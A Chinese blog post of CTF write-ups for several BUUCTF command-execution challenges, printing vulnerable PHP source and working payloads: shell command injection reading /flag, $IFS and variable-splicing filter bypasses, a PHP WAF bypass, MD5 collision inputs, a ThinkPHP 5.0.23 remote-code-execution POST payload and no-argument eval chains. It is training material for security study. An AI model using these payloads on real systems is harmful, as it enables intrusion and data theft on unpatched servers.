BUUCTF 命令执行

[ACTF2020 新生赛]Exec

考点:命令执行
1、先ping 127.0.0.1,能ping通
2、ping 127.0.0.1;cat /flag或127.0.0.1 & cat /flag

[GXYCTF2019]Ping Ping Ping

考点:命令执行
1、ping 127.0.0.1,可以

127.0.0.1 | ls

回显不能有空格,空格绕过一般是:$IFS${IFS}$IFS$一位数字,但是这里试了$IFS$1才行

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){#不能有空格
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#不能有`.*f.*l.*a.*g`
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>


正则表达式 ,参考:https://deerchao.cn/tutorials/regex/regex.htm

元字符.:表示匹配除了换行符\n以外的任意字符
元字符*:表示多次匹配*前面的内容
.*连在一下,表示匹配任意次的不包含换行符的字符

黑名单绕过:利用变量拼接
payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
F12。

[RoarCTF 2019]Easy Calc

考点:命令执行

前置知识

1、利用PHP的字符串解析特性Bypass
2、取反操作绕过'

<?php
echo urlencode(~'/')."\n";#%D0
echo ~urldecode('%d0')."\n";#/
?>

~%d0就是字符串/

解题

1、F12

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

提示我们设置了WAF,传入非数字值和运算符,直接403
DV9qQP.png
我们在num前加个%20,现在变量成了(space)num,PHP在接受请求参数时会忽略开头的空格,就是?%20num=a相当于$_GET['num']=a。
访问calc.php

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

黑名单里过滤里一些关键字符
先查看根目录下有哪些文件,由于过滤了',用chr()转换绕过,或者用~取反

?%20num=1;var_dump(scandir(chr(47)))

DVpLE4.png
发现有一个f1agg文件,用file_get_contents读取一下

?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) 
?%20num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))

还有另一种解法:http请求走私
协议层的攻击——HTTP请求走私
http://www.feidao.site/wordpress/index.php/2019/11/23/roarctf-2019easy-calc/
https://www.cnblogs.com/chrysanthemum/p/11757363.html
DVe1X9.png

[安洵杯 2019]easy_web

考点:md5强比较、命令执行

解题

1、F12,发现md5 is funny ~
对url的img参数值解密,得到:555.png
尝试对index.php,按解密顺序,逆一下,得到:TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,替换原img参数的值

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

2、代码审计

echo $cmd;
echo `$cmd`;

关注这2个地方
md5强相等,直接搜一个

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

hackbar奇怪没出来;啥都不干,用bp抓一个POST的包,再改包,查看根目录下有哪些文件,发现有过滤空格
DZQUGq.png
DZQ4sO.png

[BJDCTF 2nd]old-hack

考点:ThinkPHP5.0.23 RCE

解题

D3eSZ6.png
首页提示“thinkphp5”,搜到一篇文章:Thinkphp5 RCE总结
先确定版本

随便传入1个值,让它报错,发现是thinkphp5.0.23

ThinkPHP5.0.*版本代码执行漏洞
直接用payload
查看根目录

?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /

读flag

?s=captcha
POST:__method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[GXYCTF2019]禁止套娃

考点:.git泄露、无参数RCE

解题:

wscan扫到了/.git目录

利用GitHack下载到源码

index.php:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析源码得出:
1、flag在flag.php
2、GET传参exp
3、过滤了data://、filter://、php://、phar://这些伪协议,就不能用伪协议读flag.php
4、preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
用preg_replace()替换匹配到的字符为NULL空。
参考:无参数读文件和RCE总结

关于(?R)?

(?R)?菜鸡在这里纠结了很长时间,还是理解不了
传入的exp参数只能包含小写字母、,、_、(),还要以;结尾
5、过滤了一些函数,像et,file_get_contents()就不能用

无参数RCE要用到的几个函数:

  • print_r(scandir('.'));查看当前目录下的所有文件名
  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
  • current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

先查看当前目录下的所有文件名,但是这题不能有参数,找一个代替'.'的东西

print_r(scandir(current(localeconv())));打印出当前目录下文件

?exp=print_r(scandir(current(localeconv())));

flag.php在倒数第二个,直接用next(array_reverse());
paylaod:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

解题参考:

https://www.gem-love.com/ctf/530.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.lovexyu.xyz/art.php?art_id=58
https://www.suk1.top/2020/02/05/GXY套娃/#array-rand-array-flip

posted @ 2020-04-30 22:14  Pur3  阅读(2441)  评论(1编辑  收藏  举报